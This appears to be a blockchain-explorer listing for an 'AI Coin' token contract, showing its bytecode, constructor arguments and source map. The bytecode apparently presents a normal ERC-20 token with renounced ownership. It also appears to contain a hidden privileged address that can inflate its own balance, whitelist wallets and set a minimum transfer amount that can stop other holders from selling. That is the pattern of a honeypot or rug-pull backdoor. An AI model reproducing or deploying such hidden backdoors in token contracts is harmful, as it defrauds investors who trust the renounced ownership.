0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb14610274578063c2af913b146102a4578063dd62ed3e146102ae578063e62f8d0f146102de576100f5565b806370a08231146101ec5780637f6497831461021c5780638da5cb5b1461023857806395d89b4114610256576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b2578063548db174146101d0576100f5565b806306fdde03146100fa578063095ea7b3146101185780630d1d717614610148575b600080fd5b6101026102fa565b60405161010f9190611a5e565b60405180910390f35b610132600480360381019061012d919061178e565b61038c565b60405161013f9190611a43565b60405180910390f35b610162600480360381019061015d9190611817565b61048c565b005b61016c6105cb565b6040516101799190611b20565b60405180910390f35b61019c6004803603810190610197919061173b565b6105d5565b6040516101a99190611a43565b60405180910390f35b6101ba6109a5565b6040516101c79190611b3b565b60405180910390f35b6101ea60048036038101906101e591906117ce565b6109bc565b005b610206600480360381019061020191906116ce565b610b0e565b6040516102139190611b20565b60405180910390f35b610236600480360381019061023191906117ce565b610b57565b005b610240610ca9565b60405161024d9190611a28565b60405180910390f35b61025e610cd2565b60405161026b9190611a5e565b60405180910390f35b61028e6004803603810190610289919061178e565b610d64565b60405161029b9190611a43565b60405180910390f35b6102ac6112ce565b005b6102c860048036038101906102c391906116fb565b61140a565b6040516102d59190611b20565b60405180910390f35b6102f860048036038101906102f39190611873565b611491565b005b60606007805461030990611d72565b80601f016020809104026020016040519081016040528092919081815260200182805461033590611d72565b80156103825780601f1061035757610100808354040283529160200191610382565b820191906000526020600020905b81548152906001019060200180831161036557829003601f168201915b5050505050905090565b6000816002600061039b611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610435611558565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161047a9190611b20565b60405180910390a36001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516020016104bf91906119f2565b604051602081830303815290604052805190602001206104dd611558565b6040516020016104ed9190611a0d565b60405160208183030381529060405280519060200120141561058c5760005b825181101561058657816003600085848151811061052d5761052c611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061057e90611dd5565b91505061050c565b506105c7565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105be90611b00565b60405180910390fd5b5050565b6000600a54905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610621611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561069d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069490611aa0565b60405180910390fd5b600554821015806106f75750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610736576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072d90611ae0565b60405180910390fd5b60006107428584611560565b9050600081846107529190611ca4565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107a39190611ca4565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107f99190611bc3565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084a611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108939190611ca4565b925050819055506108a2610ca9565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156109335781600160006108e2610ca9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461092b9190611bc3565b925050819055505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109909190611b20565b60405180910390a36001925050509392505050565b6000600960009054906101000a900460ff16905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516020016109ef91906119f2565b60405160208183030381529060405280519060200120610a0d611558565b604051602001610a1d9190611a0d565b604051602081830303815290604052805190602001201415610ad05760005b8151811015610aca57600060066000848481518110610a5e57610a5d611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac290611dd5565b915050610a3c565b50610b0b565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0290611b00565b60405180910390fd5b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001610b8a91906119f2565b60405160208183030381529060405280519060200120610ba8611558565b604051602001610bb89190611a0d565b604051602081830303815290604052805190602001201415610c6b5760005b8151811015610c6557600160066000848481518110610bf957610bf8611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c5d90611dd5565b915050610bd7565b50610ca6565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9d90611b00565b60405180910390fd5b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610ce190611d72565b80601f0160208091040260200160405190810160405280929190818152602001828054610d0d90611d72565b8015610d5a5780601f10610d2f57610100808354040283529160200191610d5a565b820191906000526020600020905b815481529060010190602001808311610d3d57829003601f168201915b5050505050905090565b60008160016000610d73611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de690611a80565b60405180910390fd5b60055482101580610e50575060066000610e07611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610e8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8690611ae0565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed0611558565b73ffffffffffffffffffffffffffffffffffffffff16148015610f405750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156110ae5760036000610f51611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016000610f98611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fe19190611bc3565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16611007611558565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003600061104a611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856110909190611bc3565b60405161109d9190611b20565b60405180910390a3600190506112c8565b60006110c16110bb611558565b84611560565b9050600081846110d19190611ca4565b905083600160006110e0611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111299190611ca4565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461117f9190611bc3565b92505081905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611255578160016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461124d9190611bc3565b925050819055505b8473ffffffffffffffffffffffffffffffffffffffff16611274611558565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112b99190611b20565b60405180910390a36001925050505b92915050565b6112d6611558565b73ffffffffffffffffffffffffffffffffffffffff166112f4610ca9565b73ffffffffffffffffffffffffffffffffffffffff161461134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190611ac0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516020016114c491906119f2565b604051602081830303815290604052805190602001206114e2611558565b6040516020016114f29190611a0d565b60405160208183030381529060405280519060200120141561151a5780600581905550611555565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90611b00565b60405180910390fd5b50565b600033905090565b600061156a610ca9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a65760009050611600565b6064600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115f39190611c4a565b6115fd9190611c19565b90505b92915050565b600061161961161484611b7b565b611b56565b9050808382526020820190508285602086028201111561163c5761163b611f44565b5b60005b8581101561166c57816116528882611676565b84526020840193506020830192505060018101905061163f565b5050509392505050565b600081359050611685816120fc565b92915050565b600082601f8301126116a05761169f611f3f565b5b81356116b0848260208601611606565b91505092915050565b6000813590506116c881612113565b92915050565b6000602082840312156116e4576116e3611f4e565b5b60006116f284828501611676565b91505092915050565b6000806040838503121561171257611711611f4e565b5b600061172085828601611676565b925050602061173185828601611676565b9150509250929050565b60008060006060848603121561175457611753611f4e565b5b600061176286828701611676565b935050602061177386828701611676565b9250506040611784868287016116b9565b9150509250925092565b600080604083850312156117a5576117a4611f4e565b5b60006117b385828601611676565b92505060206117c4858286016116b9565b9150509250929050565b6000602082840312156117e4576117e3611f4e565b5b600082013567ffffffffffffffff81111561180257611801611f49565b5b61180e8482850161168b565b91505092915050565b6000806040838503121561182e5761182d611f4e565b5b600083013567ffffffffffffffff81111561184c5761184b611f49565b5b6118588582860161168b565b9250506020611869858286016116b9565b9150509250929050565b60006020828403121561188957611888611f4e565b5b6000611897848285016116b9565b91505092915050565b6118b16118ac82611cea565b611e30565b82525050565b6118c081611cd8565b82525050565b6118d76118d282611cd8565b611e1e565b82525050565b6118e681611cfc565b82525050565b60006118f782611ba7565b6119018185611bb2565b9350611911818560208601611d3f565b61191a81611f53565b840191505092915050565b6000611932602683611bb2565b915061193d82611f71565b604082019050919050565b6000611955602883611bb2565b915061196082611fc0565b604082019050919050565b6000611978602083611bb2565b91506119838261200f565b602082019050919050565b600061199b604983611bb2565b91506119a682612038565b606082019050919050565b60006119be602183611bb2565b91506119c9826120ad565b604082019050919050565b6119dd81611d28565b82525050565b6119ec81611d32565b82525050565b60006119fe82846118c6565b60148201915081905092915050565b6000611a1982846118a0565b60148201915081905092915050565b6000602082019050611a3d60008301846118b7565b92915050565b6000602082019050611a5860008301846118dd565b92915050565b60006020820190508181036000830152611a7881846118ec565b905092915050565b60006020820190508181036000830152611a9981611925565b9050919050565b60006020820190508181036000830152611ab981611948565b9050919050565b60006020820190508181036000830152611ad98161196b565b9050919050565b60006020820190508181036000830152611af98161198e565b9050919050565b60006020820190508181036000830152611b19816119b1565b9050919050565b6000602082019050611b3560008301846119d4565b92915050565b6000602082019050611b5060008301846119e3565b92915050565b6000611b60611b71565b9050611b6c8282611da4565b919050565b6000604051905090565b600067ffffffffffffffff821115611b9657611b95611f10565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611bce82611d28565b9150611bd983611d28565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c0e57611c0d611e54565b5b828201905092915050565b6000611c2482611d28565b9150611c2f83611d28565b925082611c3f57611c3e611e83565b5b828204905092915050565b6000611c5582611d28565b9150611c6083611d28565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c9957611c98611e54565b5b828202905092915050565b6000611caf82611d28565b9150611cba83611d28565b925082821015611ccd57611ccc611e54565b5b828203905092915050565b6000611ce382611d08565b9050919050565b6000611cf582611d08565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611d5d578082015181840152602081019050611d42565b83811115611d6c576000848401525b50505050565b60006002820490506001821680611d8a57607f821691505b60208210811415611d9e57611d9d611eb2565b5b50919050565b611dad82611f53565b810181811067ffffffffffffffff82111715611dcc57611dcb611f10565b5b80604052505050565b6000611de082611d28565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611e1357611e12611e54565b5b600182019050919050565b6000611e2982611e42565b9050919050565b6000611e3b82611e42565b9050919050565b6000611e4d82611f64565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f54543a207472616e7366657220617569696f6e6e6e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f54543a207472616e7366657220617569696f6e6e6e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54543a207472616e7366657220617569696f6e6e6e742069732062656c6f772060008201527f746865206d696e696d756d20616e642073656e646572206973206e6f7420776860208201527f6974656c69737465640000000000000000000000000000000000000000000000604082015250565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b61210581611cd8565b811461211057600080fd5b50565b61211c81611d28565b811461212757600080fd5b5056fea26469706673582212201de0f3a5c8e3239d9819d3d514c5b50c2bb92447becb03bfbe76fdd52892084d64736f6c63430008050033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000012a05f2000000000000000000000000000000000000000000000000000000000000000007414920436f696e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024149000000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): AI Coin
Arg [1] : symbol_ (string): AI
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 5000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 000000000000000000000000000000000000000000000000000000012a05f200
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [5] : 414920436f696e00000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000002
Arg [7] : 4149000000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

1714:5386:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2620:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5659:237;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3022:353;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6995:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5904:835;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2806:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4051:363;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2897:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3690:353;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1258:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2711;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4422:1070;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1477:230;;;:::i;:::-;;5500:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3385:297;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2620:83;2657:13;2690:5;2683:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2620:83;:::o;5659:237::-;5745:4;5799:9;5762:11;:25;5774:12;:10;:12::i;:::-;5762:25;;;;;;;;;;;;;;;:34;5788:7;5762:34;;;;;;;;;;;;;;;:46;;;;5847:7;5824:42;;5833:12;:10;:12::i;:::-;5824:42;;;5856:9;5824:42;;;;;;:::i;:::-;;;;;;;;5884:4;5877:11;;5659:237;;;;:::o;3022:353::-;3173:6;;;;;;;;;;;3156:24;;;;;;;;:::i;:::-;;;;;;;;;;;;;3146:35;;;;;;3128:12;:10;:12::i;:::-;3111:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;3101:41;;;;;;:80;3097:271;;;3199:9;3194:99;3218:8;:15;3214:1;:19;3194:99;;;3277:4;3255:6;:19;3262:8;3271:1;3262:11;;;;;;;;:::i;:::-;;;;;;;;3255:19;;;;;;;;;;;;;;;:26;;;;3235:3;;;;;:::i;:::-;;;;3194:99;;;;3097:271;;;3317:43;;;;;;;;;;:::i;:::-;;;;;;;;3097:271;3022:353;;:::o;6995:102::-;7050:7;7077:12;;7070:19;;6995:102;:::o;5904:835::-;6013:4;6075:9;6038:11;:19;6050:6;6038:19;;;;;;;;;;;;;;;:33;6058:12;:10;:12::i;:::-;6038:33;;;;;;;;;;;;;;;;:46;;6030:99;;;;;;;;;;;;:::i;:::-;;;;;;;;;6161:25;;6148:9;:38;;:60;;;;6190:10;:18;6201:6;6190:18;;;;;;;;;;;;;;;;;;;;;;;;;6148:60;6140:146;;;;;;;;;;;;:::i;:::-;;;;;;;;;6297:12;6312:32;6326:6;6334:9;6312:13;:32::i;:::-;6297:47;;6355:26;6396:4;6384:9;:16;;;;:::i;:::-;6355:45;;6434:9;6413;:17;6423:6;6413:17;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;6478:18;6454:9;:20;6464:9;6454:20;;;;;;;;;;;;;;;;:42;;;;;;;:::i;:::-;;;;;;;;6544:9;6507:11;:19;6519:6;6507:19;;;;;;;;;;;;;;;:33;6527:12;:10;:12::i;:::-;6507:33;;;;;;;;;;;;;;;;:46;;;;;;;:::i;:::-;;;;;;;;6583:7;:5;:7::i;:::-;6570:20;;:9;:20;;;6566:79;;;6629:4;6607:9;:18;6617:7;:5;:7::i;:::-;6607:18;;;;;;;;;;;;;;;;:26;;;;;;;:::i;:::-;;;;;;;;6566:79;6679:9;6662:47;;6671:6;6662:47;;;6690:18;6662:47;;;;;;:::i;:::-;;;;;;;;6727:4;6720:11;;;;5904:835;;;;;:::o;2806:83::-;2847:5;2872:9;;;;;;;;;;;2865:16;;2806:83;:::o;4051:363::-;4199:6;;;;;;;;;;;4182:24;;;;;;;;:::i;:::-;;;;;;;;;;;;;4172:35;;;;;;4154:12;:10;:12::i;:::-;4137:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;4127:41;;;;;;:80;4123:276;;;4225:9;4220:104;4244:8;:15;4240:1;:19;4220:104;;;4307:5;4281:10;:23;4292:8;4301:1;4292:11;;;;;;;;:::i;:::-;;;;;;;;4281:23;;;;;;;;;;;;;;;;:31;;;;;;;;;;;;;;;;;;4261:3;;;;;:::i;:::-;;;;4220:104;;;;4123:276;;;4348:43;;;;;;;;;;:::i;:::-;;;;;;;;4123:276;4051:363;:::o;2897:119::-;2963:7;2990:9;:18;3000:7;2990:18;;;;;;;;;;;;;;;;2983:25;;2897:119;;;:::o;3690:353::-;3833:6;;;;;;;;;;;3816:24;;;;;;;;:::i;:::-;;;;;;;;;;;;;3806:35;;;;;;3788:12;:10;:12::i;:::-;3771:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;3761:41;;;;;;:80;3757:275;;;3859:9;3854:103;3878:8;:15;3874:1;:19;3854:103;;;3941:4;3915:10;:23;3926:8;3935:1;3926:11;;;;;;;;:::i;:::-;;;;;;;;3915:23;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;3895:3;;;;;:::i;:::-;;;;3854:103;;;;3757:275;;;3981:43;;;;;;;;;;:::i;:::-;;;;;;;;3757:275;3690:353;:::o;1258:87::-;1304:7;1331:6;;;;;;;;;;;1324:13;;1258:87;:::o;2711:::-;2750:13;2783:7;2776:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2711:87;:::o;4422:1070::-;4511:4;4563:9;4536;:23;4546:12;:10;:12::i;:::-;4536:23;;;;;;;;;;;;;;;;:36;;4528:87;;;;;;;;;;;;:::i;:::-;;;;;;;;;4647:25;;4634:9;:38;;:66;;;;4676:10;:24;4687:12;:10;:12::i;:::-;4676:24;;;;;;;;;;;;;;;;;;;;;;;;;4634:66;4626:152;;;;;;;;;;;;:::i;:::-;;;;;;;;;4809:6;;;;;;;;;;;4793:22;;:12;:10;:12::i;:::-;:22;;;:45;;;;;4832:6;;;;;;;;;;;4819:19;;:9;:19;;;4793:45;4789:696;;;4882:6;:20;4889:12;:10;:12::i;:::-;4882:20;;;;;;;;;;;;;;;;4855:9;:23;4865:12;:10;:12::i;:::-;4855:23;;;;;;;;;;;;;;;;:47;;;;;;;:::i;:::-;;;;;;;;4945:9;4922:67;;4931:12;:10;:12::i;:::-;4922:67;;;4968:6;:20;4975:12;:10;:12::i;:::-;4968:20;;;;;;;;;;;;;;;;4956:9;:32;;;;:::i;:::-;4922:67;;;;;;:::i;:::-;;;;;;;;5011:4;5004:11;;;;4789:696;5048:12;5063:38;5077:12;:10;:12::i;:::-;5091:9;5063:13;:38::i;:::-;5048:53;;5116:26;5157:4;5145:9;:16;;;;:::i;:::-;5116:45;;5205:9;5178;:23;5188:12;:10;:12::i;:::-;5178:23;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;5253:18;5229:9;:20;5239:9;5229:20;;;;;;;;;;;;;;;;:42;;;;;;;:::i;:::-;;;;;;;;5305:6;;;;;;;;;;;5292:19;;:9;:19;;;5288:85;;;5353:4;5332:9;:17;5342:6;;;;;;;;;;;5332:17;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;5288:85;5417:9;5394:53;;5403:12;:10;:12::i;:::-;5394:53;;;5428:18;5394:53;;;;;;:::i;:::-;;;;;;;;5469:4;5462:11;;;;4422:1070;;;;;:::o;1477:230::-;1402:12;:10;:12::i;:::-;1391:23;;:7;:5;:7::i;:::-;:23;;;1383:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1584:42:::1;1547:81;;1568:6;::::0;::::1;;;;;;;;1547:81;;;;;;;;;;;;1656:42;1639:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;1477:230::o:0;5500:151::-;5589:7;5616:11;:18;5628:5;5616:18;;;;;;;;;;;;;;;:27;5635:7;5616:27;;;;;;;;;;;;;;;;5609:34;;5500:151;;;;:::o;3385:297::-;3533:6;;;;;;;;;;;3516:24;;;;;;;;:::i;:::-;;;;;;;;;;;;;3506:35;;;;;;3488:12;:10;:12::i;:::-;3471:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;3461:41;;;;;;:80;3457:210;;;3582:9;3554:25;:37;;;;3457:210;;;3616:43;;;;;;;;;;:::i;:::-;;;;;;;;3457:210;3385:297;:::o;820:115::-;873:15;916:10;901:26;;820:115;:::o;6747:240::-;6828:7;6863;:5;:7::i;:::-;6852:18;;:7;:18;;;6848:132;;;6894:1;6887:8;;;;6848:132;6965:3;6947:6;:15;6954:7;6947:15;;;;;;;;;;;;;;;;6935:9;:27;;;;:::i;:::-;:33;;;;:::i;:::-;6928:40;;6747:240;;;;;:::o;24:722:1:-;120:5;145:81;161:64;218:6;161:64;:::i;:::-;145:81;:::i;:::-;136:90;;246:5;275:6;268:5;261:21;309:4;302:5;298:16;291:23;;335:6;385:3;377:4;369:6;365:17;360:3;356:27;353:36;350:2;;;404:79;;:::i;:::-;350:2;517:1;502:238;527:6;524:1;521:13;502:238;;;595:3;624:37;657:3;645:10;624:37;:::i;:::-;619:3;612:50;691:4;686:3;682:14;675:21;;725:4;720:3;716:14;709:21;;562:178;549:1;546;542:9;537:14;;502:238;;;506:14;126:620;;;;;;;:::o;752:139::-;798:5;836:6;823:20;814:29;;852:33;879:5;852:33;:::i;:::-;804:87;;;;:::o;914:370::-;985:5;1034:3;1027:4;1019:6;1015:17;1011:27;1001:2;;1042:79;;:::i;:::-;1001:2;1159:6;1146:20;1184:94;1274:3;1266:6;1259:4;1251:6;1247:17;1184:94;:::i;:::-;1175:103;;991:293;;;;;:::o;1290:139::-;1336:5;1374:6;1361:20;1352:29;;1390:33;1417:5;1390:33;:::i;:::-;1342:87;;;;:::o;1435:329::-;1494:6;1543:2;1531:9;1522:7;1518:23;1514:32;1511:2;;;1549:79;;:::i;:::-;1511:2;1669:1;1694:53;1739:7;1730:6;1719:9;1715:22;1694:53;:::i;:::-;1684:63;;1640:117;1501:263;;;;:::o;1770:474::-;1838:6;1846;1895:2;1883:9;1874:7;1870:23;1866:32;1863:2;;;1901:79;;:::i;:::-;1863:2;2021:1;2046:53;2091:7;2082:6;2071:9;2067:22;2046:53;:::i;:::-;2036:63;;1992:117;2148:2;2174:53;2219:7;2210:6;2199:9;2195:22;2174:53;:::i;:::-;2164:63;;2119:118;1853:391;;;;;:::o;2250:619::-;2327:6;2335;2343;2392:2;2380:9;2371:7;2367:23;2363:32;2360:2;;;2398:79;;:::i;:::-;2360:2;2518:1;2543:53;2588:7;2579:6;2568:9;2564:22;2543:53;:::i;:::-;2533:63;;2489:117;2645:2;2671:53;2716:7;2707:6;2696:9;2692:22;2671:53;:::i;:::-;2661:63;;2616:118;2773:2;2799:53;2844:7;2835:6;2824:9;2820:22;2799:53;:::i;:::-;2789:63;;2744:118;2350:519;;;;;:::o;2875:474::-;2943:6;2951;3000:2;2988:9;2979:7;2975:23;2971:32;2968:2;;;3006:79;;:::i;:::-;2968:2;3126:1;3151:53;3196:7;3187:6;3176:9;3172:22;3151:53;:::i;:::-;3141:63;;3097:117;3253:2;3279:53;3324:7;3315:6;3304:9;3300:22;3279:53;:::i;:::-;3269:63;;3224:118;2958:391;;;;;:::o;3355:539::-;3439:6;3488:2;3476:9;3467:7;3463:23;3459:32;3456:2;;;3494:79;;:::i;:::-;3456:2;3642:1;3631:9;3627:17;3614:31;3672:18;3664:6;3661:30;3658:2;;;3694:79;;:::i;:::-;3658:2;3799:78;3869:7;3860:6;3849:9;3845:22;3799:78;:::i;:::-;3789:88;;3585:302;3446:448;;;;:::o;3900:684::-;3993:6;4001;4050:2;4038:9;4029:7;4025:23;4021:32;4018:2;;;4056:79;;:::i;:::-;4018:2;4204:1;4193:9;4189:17;4176:31;4234:18;4226:6;4223:30;4220:2;;;4256:79;;:::i;:::-;4220:2;4361:78;4431:7;4422:6;4411:9;4407:22;4361:78;:::i;:::-;4351:88;;4147:302;4488:2;4514:53;4559:7;4550:6;4539:9;4535:22;4514:53;:::i;:::-;4504:63;;4459:118;4008:576;;;;;:::o;4590:329::-;4649:6;4698:2;4686:9;4677:7;4673:23;4669:32;4666:2;;;4704:79;;:::i;:::-;4666:2;4824:1;4849:53;4894:7;4885:6;4874:9;4870:22;4849:53;:::i;:::-;4839:63;;4795:117;4656:263;;;;:::o;4925:189::-;5046:61;5074:32;5100:5;5074:32;:::i;:::-;5046:61;:::i;:::-;5041:3;5034:74;5024:90;;:::o;5120:118::-;5207:24;5225:5;5207:24;:::i;:::-;5202:3;5195:37;5185:53;;:::o;5244: